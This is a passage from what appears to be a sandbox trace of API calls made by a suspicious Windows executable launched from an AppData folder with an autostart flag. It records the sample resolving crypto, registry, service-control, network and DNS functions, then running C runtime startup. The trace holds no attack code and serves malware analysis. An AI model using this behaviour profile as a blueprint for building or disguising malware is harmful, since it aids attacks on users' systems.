lpProcName="VirtualAlloc") returned 0x75e21856 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="MoveFileW") returned 0x75e39af0 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="FindClose") returned 0x75e24442 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="Process32FirstW") returned 0x75e48baf [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="LocalAlloc") returned 0x75e2168c [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="CreateEventW") returned 0x75e2183e [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="GetModuleFileNameA") returned 0x75e214b1 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="Process32NextW") returned 0x75e4896c [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="lstrcatW") returned 0x75e4828e [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="CreateMutexA") returned 0x75e24c6b [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="FatalAppExitA") returned 0x75ea4691 [0101.157] GetProcAddress (hModule=0x75e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x75e4735f [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="CloseHandle") returned 0x75e21410 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="DeleteFileW") returned 0x75e289b3 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="LocalFree") returned 0x75e22d3c [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="lstrcpyW") returned 0x75e43102 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="DeleteFileA") returned 0x75e25444 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="lstrcpyA") returned 0x75e42a9d [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="SetPriorityClass") returned 0x75e3cf28 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="GetModuleHandleW") returned 0x75e234b0 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="GetComputerNameW") returned 0x75e2dd0e [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="GetExitCodeProcess") returned 0x75e3174d [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="GetModuleFileNameW") returned 0x75e24950 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="GlobalFree") returned 0x75e25558 [0101.158] GetProcAddress (hModule=0x75e10000, lpProcName="GetVersion") returned 0x75e24467 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="CreateDirectoryA") returned 0x75e4d526 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="CreateThread") returned 0x75e234d5 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="TlsSetValue") returned 0x75e214fb [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="TlsGetValue") returned 0x75e211e0 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="TlsAlloc") returned 0x75e249ad [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75e21916 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x75e287c9 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="UnhandledExceptionFilter") returned 0x75e4772f [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="FreeEnvironmentStringsW") returned 0x75e251cb [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="GetEnvironmentStringsW") returned 0x75e251e3 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="GetCurrentProcessId") returned 0x75e211f8 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="QueryPerformanceCounter") returned 0x75e21725 [0101.159] GetProcAddress (hModule=0x75e10000, lpProcName="GetStartupInfoW") returned 0x75e24d40 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="DeleteCriticalSection") returned 0x77e845f5 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="GetTimeZoneInformation") returned 0x75e2465a [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="RaiseException") returned 0x75e258a6 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="GetStringTypeW") returned 0x75e21946 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="HeapSize") returned 0x77e83002 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="LoadLibraryExW") returned 0x75e2495d [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="HeapAlloc") returned 0x77e7e026 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="GetLocaleInfoW") returned 0x75e23c42 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="IsValidLocale") returned 0x75e3ce46 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="GetUserDefaultLCID") returned 0x75e23da5 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="EnumSystemLocalesW") returned 0x75ea425f [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="GetDateFormatW") returned 0x75e434d7 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="GetTimeFormatW") returned 0x75e3f481 [0101.160] GetProcAddress (hModule=0x75e10000, lpProcName="CompareStringW") returned 0x75e23bca [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="LCMapStringW") returned 0x75e217b9 [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="GetConsoleCP") returned 0x75ec7bff [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="GetConsoleMode") returned 0x75e21328 [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="HeapReAlloc") returned 0x77e91f6e [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="SetStdHandle") returned 0x75ea454f [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="SetEndOfFile") returned 0x75e3ce2e [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="GetStdHandle") returned 0x75e251b3 [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="GetFileType") returned 0x75e23531 [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="GetModuleHandleExW") returned 0x75e24a6f [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="WriteConsoleW") returned 0x75e47aca [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="ReadConsoleW") returned 0x75ec739a [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="OutputDebugStringW") returned 0x75e4d1d4 [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="SetConsoleCtrlHandler") returned 0x75e28a09 [0101.161] GetProcAddress (hModule=0x75e10000, lpProcName="RtlUnwind") returned 0x75e4d1c3 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="LeaveCriticalSection") returned 0x77e72270 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="EnterCriticalSection") returned 0x77e722b0 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="AreFileApisANSI") returned 0x75ea40d1 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="ExitProcess") returned 0x75e27a10 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="GetProcessHeap") returned 0x75e214e9 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="GetCurrentThreadId") returned 0x75e21450 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="GetCurrentThread") returned 0x75e217ec [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="GetCPInfo") returned 0x75e25189 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="HeapFree") returned 0x75e214c9 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="SetEnvironmentVariableA") returned 0x75e2e331 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="EncodePointer") returned 0x77e90fcb [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="DecodePointer") returned 0x77e89d35 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x75e23509 [0101.162] GetProcAddress (hModule=0x75e10000, lpProcName="GetCurrentProcess") returned 0x75e21809 [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="CreateSemaphoreW") returned 0x75e3ca5a [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="GetOEMCP") returned 0x75e4d1a1 [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="GetACP") returned 0x75e2179c [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="IsValidCodePage") returned 0x75e24493 [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="IsProcessorFeaturePresent") returned 0x75e25235 [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="FindNextFileW") returned 0x75e254ee [0101.163] GetProcAddress (hModule=0x75e10000, lpProcName="IsDebuggerPresent") returned 0x75e24a5d [0101.163] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x761e0000 [0101.163] GetProcAddress (hModule=0x761e0000, lpProcName="LoadCursorW") returned 0x761f88f7 [0101.163] GetProcAddress (hModule=0x761e0000, lpProcName="TranslateMessage") returned 0x761f7809 [0101.163] GetProcAddress (hModule=0x761e0000, lpProcName="RegisterClassExW") returned 0x761fb17d [0101.163] GetProcAddress (hModule=0x761e0000, lpProcName="ShowWindow") returned 0x76200dfb [0101.163] GetProcAddress (hModule=0x761e0000, lpProcName="IsWindow") returned 0x761f7136 [0101.163] GetProcAddress (hModule=0x761e0000, lpProcName="CreateWindowExW") returned 0x761f8a29 [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="UpdateWindow") returned 0x76203559 [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="DefWindowProcW") returned 0x77e825dd [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="PeekMessageW") returned 0x762005ba [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="PostThreadMessageW") returned 0x761f8bff [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="MessageBoxW") returned 0x7624fd3f [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="DispatchMessageW") returned 0x761f787b [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="PostQuitMessage") returned 0x761f9abb [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="DestroyWindow") returned 0x761f9a55 [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="SendMessageW") returned 0x761f9679 [0101.164] GetProcAddress (hModule=0x761e0000, lpProcName="GetMessageW") returned 0x761f78e2 [0101.164] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x779b0000 [0101.164] GetProcAddress (hModule=0x779b0000, lpProcName="CryptGetHashParam") returned 0x779bdf7e [0101.164] GetProcAddress (hModule=0x779b0000, lpProcName="CryptAcquireContextW") returned 0x779bdf14 [0101.164] GetProcAddress (hModule=0x779b0000, lpProcName="OpenSCManagerW") returned 0x779bca64 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="OpenServiceW") returned 0x779bca4c [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="CryptReleaseContext") returned 0x779be124 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="GetUserNameW") returned 0x779c157a [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="CryptHashData") returned 0x779bdf36 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="RegSetValueExW") returned 0x779c14d6 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="RegCloseKey") returned 0x779c469d [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="CryptDestroyHash") returned 0x779bdf66 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="ControlService") returned 0x779d7144 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="RegOpenKeyExW") returned 0x779c468d [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="CryptCreateHash") returned 0x779bdf4e [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="CryptEncrypt") returned 0x779d779b [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="CryptImportKey") returned 0x779bc532 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="QueryServiceStatus") returned 0x779c2a86 [0101.165] GetProcAddress (hModule=0x779b0000, lpProcName="RegQueryValueExW") returned 0x779c46ad [0101.166] GetProcAddress (hModule=0x779b0000, lpProcName="CloseServiceHandle") returned 0x779c369c [0101.166] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76d60000 [0101.169] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetPathFromIDListW") returned 0x76df17bf [0101.169] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetSpecialFolderLocation") returned 0x76dee141 [0101.169] GetProcAddress (hModule=0x76d60000, lpProcName="CommandLineToArgvW") returned 0x76d79ee8 [0101.169] GetProcAddress (hModule=0x76d60000, lpProcName="ShellExecuteA") returned 0x76fa7078 [0101.169] GetProcAddress (hModule=0x76d60000, lpProcName="ShellExecuteExW") returned 0x76d81e46 [0101.169] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x762e0000 [0101.169] GetProcAddress (hModule=0x762e0000, lpProcName="CoInitialize") returned 0x762fb636 [0101.170] GetProcAddress (hModule=0x762e0000, lpProcName="CoInitializeSecurity") returned 0x76307259 [0101.170] GetProcAddress (hModule=0x762e0000, lpProcName="CoUninitialize") returned 0x763286d3 [0101.170] GetProcAddress (hModule=0x762e0000, lpProcName="CoCreateInstance") returned 0x76329d0b [0101.170] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76b80000 [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0xca) returned 0x76b8fd6b [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0x2) returned 0x76b84642 [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0x9) returned 0x76b83eae [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0x8) returned 0x76b83ed5 [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0x6) returned 0x76b83e59 [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0xc8) returned 0x76b83f21 [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0xc) returned 0x76b85dee [0101.170] GetProcAddress (hModule=0x76b80000, lpProcName=0xc9) returned 0x76b84af8 [0101.170] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74180000 [0101.786] GetProcAddress (hModule=0x74180000, lpProcName="GetAdaptersInfo") returned 0x74189263 [0101.786] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x76c30000 [0101.818] GetProcAddress (hModule=0x76c30000, lpProcName=0xc) returned 0x76c3b131 [0101.818] GetProcAddress (hModule=0x76c30000, lpProcName=0xb) returned 0x76c3311b [0101.818] GetProcAddress (hModule=0x76c30000, lpProcName=0x34) returned 0x76c47673 [0101.818] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74110000 [0103.024] GetProcAddress (hModule=0x74110000, lpProcName="DnsQuery_W") returned 0x7412572c [0103.024] GetProcAddress (hModule=0x74110000, lpProcName="DnsFree") returned 0x7411436b [0103.024] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x75f20000 [0103.024] GetProcAddress (hModule=0x75f20000, lpProcName="CryptStringToBinaryA") returned 0x75f55d77 [0103.024] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x758d0000 [0103.912] GetProcAddress (hModule=0x758d0000, lpProcName="atexit") returned 0x758ec544 [0103.913] atexit (param_1=0x609c2d) returned 0 [0103.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d930 | out: lpSystemTimeAsFileTime=0x18d930*(dwLowDateTime=0x350408e0, dwHighDateTime=0x1d53559)) [0103.913] GetCurrentThreadId () returned 0x4d8 [0103.913] GetCurrentProcessId () returned 0x4d4 [0103.913] QueryPerformanceCounter (in: lpPerformanceCount=0x18d928 | out: lpPerformanceCount=0x18d928*=6837357294) returned 1 [0103.913] GetStartupInfoW (in: lpStartupInfo=0x18d8c0 | out: lpStartupInfo=0x18d8c0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x75e23519, hStdOutput=0x77e6fd35, hStdError=0x77ed7daf)) [0103.913] GetProcessHeap () returned 0x5b0000 [0103.913] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e10000 [0103.913] GetProcAddress (hModule=0x75e10000, lpProcName="FlsAlloc") returned 0x75e24f2b [0103.913] GetProcAddress (hModule=0x75e10000, lpProcName="FlsFree") returned 0x75e2359f [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="FlsGetValue") returned 0x75e21252 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="FlsSetValue") returned 0x75e24208 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="InitializeCriticalSectionEx") returned 0x75e24d28 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="CreateEventExW") returned 0x75ea410b [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="CreateSemaphoreExW") returned 0x75ea4195 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="SetThreadStackGuarantee") returned 0x75e2d31f [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="CreateThreadpoolTimer") returned 0x75e3ee7e [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="SetThreadpoolTimer") returned 0x77e9441c [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77ebc50e [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="CloseThreadpoolTimer") returned 0x77ebc381 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="CreateThreadpoolWait") returned 0x75e3f088 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="SetThreadpoolWait") returned 0x77ea05d7 [0103.914] GetProcAddress (hModule=0x75e10000, lpProcName="CloseThreadpoolWait") returned 0x77ebca24 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77e70b8c [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77f2fde8 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77ec1e1d [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="GetLogicalProcessorInformation") returned 0x75ea4761 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="CreateSymbolicLinkW") returned 0x75e9cd11 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="EnumSystemLocalesEx") returned 0x75ea424f [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="CompareStringEx") returned 0x75ea46b1 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="GetDateFormatEx") returned 0x75eb6676 [0103.915] GetProcAddress (hModule=0x75e10000, lpProcName="GetLocaleInfoEx") returned 0x75ea4751 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="GetTimeFormatEx") returned 0x75eb65f1 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="GetUserDefaultLocaleName") returned 0x75ea47c1 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="IsValidLocaleName") returned 0x75ea47e1 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="LCMapStringEx") returned 0x75ea47f1 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="GetTickCount64") returned 0x75e3eee0 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0103.916] GetProcAddress (hModule=0x75e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0103.916] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3bc) returned 0x65b6f0 [0103.917] GetCurrentThreadId () returned 0x4d8 [0103.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c0ab8 [0103.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x65bab8 [0103.917] GetStartupInfoW (in: lpStartupInfo=0x18d890 | out: lpStartupInfo=0x18d890*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xa358f696, hStdError=0x0)) [0103.917] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.917] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0103.917] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.917] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart" [0103.917] GetEnvironmentStringsW () returned 0x65c2c0* [0103.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb02) returned 0x65cdd0 [0103.917] FreeEnvironmentStringsW (penv=0x65c2c0) returned 1 [0103.917] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\34ab4241-89d8-4896-a0ef-745528a314bb\\a959.tmp.exe")) returned 0x5d [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x65d8e0 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x9c) returned 0x65d9c8 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3e) returned 0x651268 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x6c) returned 0x65da70 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x6e) returned 0x65dae8 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x78) returned 0x64f148 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x62) returned 0x65db60 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x6573e8 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x652fa8 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x28) returned 0x656de0 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1a) returned 0x65b3e8 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x4a) returned 0x65dbd0 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x72) returned 0x64f1c8 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x657420 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x657458 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1c) returned 0x65b410 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xd2) returned 0x65dc28 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x7c) returned 0x65dd08 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x65dd90 [0103.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3a) returned 0x6512b0 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x90) returned 0x65ddd0 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x656e10 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x657490 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x36) returned 0x65de68 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x48) returned 0x652ff8 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x52) returned 0x65dea8 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x6512f8 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x82) returned 0x65df08 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2e) returned 0x6574c8 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x28) returned 0x656e40 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x1e) returned 0x65b438 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2c) returned 0x657500 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x54) returned 0x65c2c0 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x52) returned 0x65c320 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x2a) returned 0x657538 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3c) returned 0x651340 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x54) returned 0x65c380 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x24) returned 0x656e70 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x30) returned 0x657570 [0103.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x8c) returned 0x65c3e0 [0103.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65cdd0 | out: hHeap=0x5b0000) returned 1 [0103.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x80) returned 0x65c478 [0103.925] GetLastError () returned 0x0 [0103.925] SetLastError (dwErrCode=0x0) [0103.925] GetLastError () returned 0x0 [0103.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x220) returned 0x65c500 [0103.925] GetLastError () returned 0x0 [0103.925] IsValidCodePage (CodePage=0x4e4) returned 1 [0103.925] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d884 | out: lpCPInfo=0x18d884) returned 1 [0103.925] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d34c | out: lpCPInfo=0x18d34c) returned 1 [0103.925] GetLastError () returned 0x0 [0103.925] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0103.925] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18ce88, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" 